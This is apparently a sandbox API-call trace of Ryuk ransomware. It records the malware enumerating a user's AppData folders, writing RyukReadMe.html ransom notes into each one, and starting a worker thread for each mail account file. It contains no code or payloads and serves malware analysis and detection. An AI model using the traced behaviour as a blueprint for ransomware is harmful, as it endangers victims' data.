	[0236.080] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c4d89a0, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c4d89a0, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="UsrClass.dat", cAlternateFileName="")) returned 1
	[0236.080] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c3ce000, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="UsrClass.dat.LOG1", cAlternateFileName="USRCLA~2.LOG")) returned 1
	[0236.080] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9c5705f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="UsrClass.dat.LOG2", cAlternateFileName="USRCLA~1.LOG")) returned 1
	[0236.080] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x962222ec, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf", cAlternateFileName="USRCLA~1.BLF")) returned 1
	[0236.080] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="USRCLA~2.REG")) returned 1
	[0236.080] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="USRCLA~1.REG")) returned 1
	[0236.080] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 1
	[0236.080] SetLastError (dwErrCode=0x0) 
	[0236.080] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0236.081] GetLastError () returned 0xb7
	[0236.081] CloseHandle (hObject=0x72c) returned 1
	[0236.081] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0236.082] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.082] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="ERC", cAlternateFileName="")) returned 1
	[0236.082] SetLastError (dwErrCode=0x0) 
	[0236.082] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0236.083] GetLastError () returned 0x0
	[0236.083] WriteFile (in: hFile=0x734, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0236.086] CloseHandle (hObject=0x734) returned 1
	[0236.086] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ERC\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0236.087] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.087] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0236.087] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0236.087] SetLastError (dwErrCode=0x0) 
	[0236.088] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ERC\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\erc\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0236.237] GetLastError () returned 0x0
	[0236.237] WriteFile (in: hFile=0x734, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0236.240] CloseHandle (hObject=0x734) returned 1
	[0236.240] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 1
	[0236.240] SetLastError (dwErrCode=0x0) 
	[0236.240] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0236.241] GetLastError () returned 0xb7
	[0236.241] CloseHandle (hObject=0x734) returned 1
	[0236.241] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ReportArchive\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0236.242] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.242] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0236.242] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0236.242] SetLastError (dwErrCode=0x0) 
	[0236.242] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ReportArchive\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\reportarchive\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.242] GetLastError () returned 0x3
	[0236.242] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0236.242] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.243] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 0
	[0236.243] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0236.243] SetLastError (dwErrCode=0x0) 
	[0236.243] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0236.243] GetLastError () returned 0xb7
	[0236.243] CloseHandle (hObject=0x72c) returned 1
	[0236.244] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa734ff0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xa734ff0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa734ff0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 1
	[0236.244] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa734ff0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xa734ff0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa734ff0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 0
	[0236.244] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0236.244] SetLastError (dwErrCode=0x0) 
	[0236.244] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0236.244] GetLastError () returned 0xb7
	[0236.244] CloseHandle (hObject=0x724) returned 1
	[0236.245] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1
	[0236.245] SetLastError (dwErrCode=0x0) 
	[0236.245] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0236.245] GetLastError () returned 0xb7
	[0236.245] CloseHandle (hObject=0x724) returned 1
	[0236.246] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0236.249] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.249] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4, dwReserved0=0x1de, dwReserved1=0x0, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cAlternateFileName="ACCOUN~3.OEA")) returned 1
	[0236.249] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c
	[0236.255] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.256] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf657b4d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", cAlternateFileName="ACCOUN~2.OEA")) returned 1
	[0236.256] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.257] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734
	[0236.258] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.259] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x1de, dwReserved1=0x0, cFileName="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cAlternateFileName="ACCOUN~1.OEA")) returned 1
	[0236.259] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.260] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c
	[0236.399] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.400] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1
	[0236.401] SetLastError (dwErrCode=0x0) 
	[0236.401] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x790
	[0236.418] GetLastError () returned 0x0
	[0236.418] WriteFile (in: hFile=0x790, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0236.422] CloseHandle (hObject=0x790) returned 1
